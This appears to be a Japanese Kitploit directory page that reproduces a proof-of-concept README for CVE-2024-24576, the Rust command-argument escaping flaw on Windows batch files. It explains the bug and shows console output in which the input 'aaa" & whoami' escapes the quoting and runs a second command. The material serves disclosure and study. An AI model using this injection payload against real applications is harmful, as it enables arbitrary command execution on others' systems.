Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/frostb1ten/cve-2024-24576-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubfrostb1ten/cve-2024-24576-poc

CVE-2024-24576-PoC

CVE-2024-24576 の使用例。

リポジトリを見る
591012年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-24576 PoC

Command::arg および Command::args API は、ドキュメントにおいて、引数がそのまま生成されたプロセスに渡され、引数の内容にかかわらずシェルによって評価されることはないと述べています。つまり、信頼できない入力を引数として渡しても安全であるはずです。

Windows では、この実装は他のプラットフォームよりも複雑です。Windows API は生成されたプロセスに渡すすべての引数を含む単一の文字列しか提供せず、それらを分割するのは生成されたプロセスの役割だからです。ほとんどのプログラムは標準 C ランタイムの argv を使用するため、実際には引数がほぼ一貫した方法で分割されます。

ただし、1つ例外があります。cmd.exe(バッチファイルの実行などに使用される)は、独自の引数分割ロジックを持っています。そのため、標準ライブラリはバッチファイルに渡される引数に対してカスタムエスケープを実装する必要がありました。残念ながら、このエスケープロジックは十分に徹底されておらず、悪意のある引数を渡すと任意のシェル実行が可能になることが報告されていました。

main.rs ファイルを以下のペイロードで実行すると、次のようになります。

root@kitploit:~
C:\Users\frost\testing>cargo run
   Compiling testing v0.1.0 (C:\Users\frost\testing)
    Finished dev [unoptimized + debuginfo] target(s) in 0.49s
     Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
root@kitploit:~
C:\Users\frost\testing>cargo run
    Finished dev [unoptimized + debuginfo] target(s) in 0.01s
     Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
root@kitploit:~
C:\Users\frost\testing>cargo run
    Finished dev [unoptimized + debuginfo] target(s) in 0.01s
     Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost

" whoami でエスケープされた引数に注目してください。

私の発見ではありません!

出典: https://github.com/rust-lang/rust/security/advisories/GHSA-q455-m56c-85mh https://www.bleepingcomputer.com/news/security/critical-rust-flaw-enables-windows-command-injection-attacks/

ツールをダウンロード